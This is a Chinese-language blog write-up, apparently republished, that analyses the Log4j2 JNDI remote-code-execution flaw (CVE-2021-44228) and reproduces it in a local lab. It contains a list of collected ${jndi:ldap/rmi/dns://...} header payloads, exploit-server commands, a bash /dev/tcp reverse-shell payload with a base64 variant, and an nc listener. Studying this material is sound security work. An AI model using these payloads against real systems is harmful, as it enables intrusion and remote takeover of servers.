2021年12月8號爆出的log4j2的遠程代碼執行漏洞【cve-2021-44228】，堪稱史詩級核彈漏洞，雖然過了這么久，大部分現網中的相關漏洞已經修復，但任然可以撿漏…,網上也有不少大佬和研究機構都對該漏洞做了分析和復盤，年前年后比較忙，一直沒有好好的分析總結該漏洞，最近學習下剛好補上。

漏洞描述及影響

log4j是Apache的一個開源項目，是一個基于Java的日志記錄框架。Log4j2是log4j的后繼者，被大量用于業務系統開發，記錄日志信息。很多互聯網公司以及耳熟能詳的公司的系統都在使用該框架。Apache Log4j2 組件在開啟了日志記錄功能后，凡是在可觸發錯誤記錄日志的地方，插入漏洞利用代碼，即可利用成功。特殊情況下，若該組件記錄的日志包含其他系統的記錄日志，則有可能造成間接投毒。通過中間系統，使得組件間接讀取了具有攻擊性的漏洞利用代碼，亦可間接造成漏洞觸發。

同時該漏洞還影響很多全球使用量的Top序列的通用開源組件，例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等

用戶認證：不需要用戶認證觸發方式：遠程配置方式：默認利用條件：需要外網訪問權限影響版本：2.0 ≤ Apache Log4j2 < 2.15.0-rc2利用難度：極低，無需授權即可遠程代碼執行威脅等級：嚴重，能造成遠程代碼執行綜合評估漏洞利用難度極低，利用要求較少，影響范圍很大，危害極其嚴重，且已經被黑客公開利用持續全網掃描，根據部里要求，需要緊急修復。

漏洞分析

該漏洞的主要原因是log4j在日志輸出中，未對字符合法性進行嚴格的限制，執行了JNDI協議加載的遠程惡意腳本，從而造成RCE。這里面有一個關鍵點就是，什么是JNDI,為什么JNDI可以造成RCE
【Java JNDI使用詳解】 https://blog.csdn.net/qinwuxian19891211/article/details/108969927，這篇文章中很好的介紹了什么是JNDI，這里摘抄文章中的重點的部分，以作說明,

JNDI（Java Naming and Directory Interface–Java命名和目錄接口）是Java中為命名和目錄服務提供接口的API，通過名字可知道，JNDI主要由兩部分組成：Naming（命名）和Directory（目錄），其中Naming是指將對象通過唯一標識符綁定到一個上下文Context，同時可通過唯一標識符查找獲得對象，而Directory主要指將某一對象的屬性綁定到Directory的上下文DirContext中，同時可通過名字獲取對象的屬性同時操作屬性。 JNDI主要由JNDI API和JNDI SPI兩部分組成，Java應用程序通過JNDI API訪問目錄服務，而JNDI API會調用Naming Manager實例化JNDI SPI，然后通過JNDI SPI去操作命名或目錄服務其如LDAP， DNS，RMI等，JNDI內部已實現了對LDAP，DNS， RMI等目錄服務器的操作API。

這里面有個很重要的點，java應用程序中可以調用JNDI協議訪問遠程服務，其底層包含了RMI、LDAP、DNS等協議的調用，說明白點，就是可以通過JNDI訪問遠程的相關目錄服務，本次爆發的攻擊payload都是通過jndi調用了遠程的惡意class，然后本地反序列化執行。和以前的fastjson攻擊的手法差不多，這里面涉及到jndi注入和java反序列化漏洞的相關知識，可以作為一個單獨的文章來說明，這里只將和log4j本次漏洞相關的。詳細的，可以參考網上的一篇文章，【深入理解JNDI注入與Java反序列化漏洞利用】
首先我們看一下，收集到的log4j payload:

X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo} X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl} X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE} X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw} X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC} True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm} Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP} X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt} Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS} X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ} Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX} Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA} Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD} Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc} Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs} Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}

以及一些變形的payload:

這些payload的形式大多類似與這樣：
${jndi:ldap://xxxx.com.cn},我們可以看看直接在代碼中利用log4j輸出以上字符串，到底會發生什么，上代碼：

//首先在pom文件中，引入含有漏洞的log4j包，pom文件<dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.0</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version></dependency></dependencies>// 直接在代碼中輸出含有ldap的dnslog的查詢， import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j11Test {private static Logger logger = LogManager.getLogger("Log4jDemoApplication");public static void main(String[] args) {logger.error("${jndi:ldap://log4j.voxxaq.dnslog.cn}");} }

運行以上代碼，觀察到dnslog上有反查記錄，說明應用程序lookup了log4j.voxxaq.dnslog.cn這個域名，留下了查找記錄

既然能遠程訪問，那返回的又是什么呢，有沒有可能加載遠程服務器上的惡意類呢？答案是肯定的，我們只需要構建一個ldap或rmi遠程服務即可，讓遠程服務器返回惡意class，如圖

驗證

按照以上的思路，首先要在遠程服務器上準備ldap或rmi服務，這里我們利用現成的工具，【JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar】，github上已有大神準備好了，這個jar包的作用是在服務器上開啟ldap和rmi服務，并且可以自定義要執行的代碼。命令執行格式如下：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "payload" -A "serverip"

A參數為遠程服務器的IP，我們只需要關注payload，將他變為要執行的代碼即可。這里我們直接反彈一個shell，payload為
bash -i >& /dev/tcp/serverip/port 0>&1,因為其中含有&等特需符號，為防止執行不成功，換一種寫法，變形為，bash -c {echo,base64_encoded_payload}|{base64,-d}|{bash,-i},本質上和前面是一樣的，只不過是將前面的payload先base64編碼后再解碼。
執行后，輸出如下：
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-WuxiAheR-1644768636746)(vx_images/87154923231691.png)]
以上分別在1099端口和1389端口，開啟了rmi，ldap的監聽服務，等待jndi的連接。同時我們也再9999端口，開啟一個反彈監聽端口，等待反彈shell上線。

nc -lvvp 9999

這里，我們直接用本地搭建漏洞環境，也可以用volfocus上的在線靶場環境。啟動本地含有漏洞的spring boot的服務，如圖：

以上環境在request header 中X-Api-Version 中存在log4j2的漏洞，直接在postman中發送請求：

觀察遠程服務端：

再觀察反彈的9999端口：

以上可以看到反彈shell，成功上線。

修復

從前面的分析驗證可以看出，該漏洞可直接加載遠程代碼，反彈shell，危害巨大。需將log4j2的jar包升級為2.17-rc2及以上

總結

以上是生活随笔為你收集整理的log4j漏洞分析及总结的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。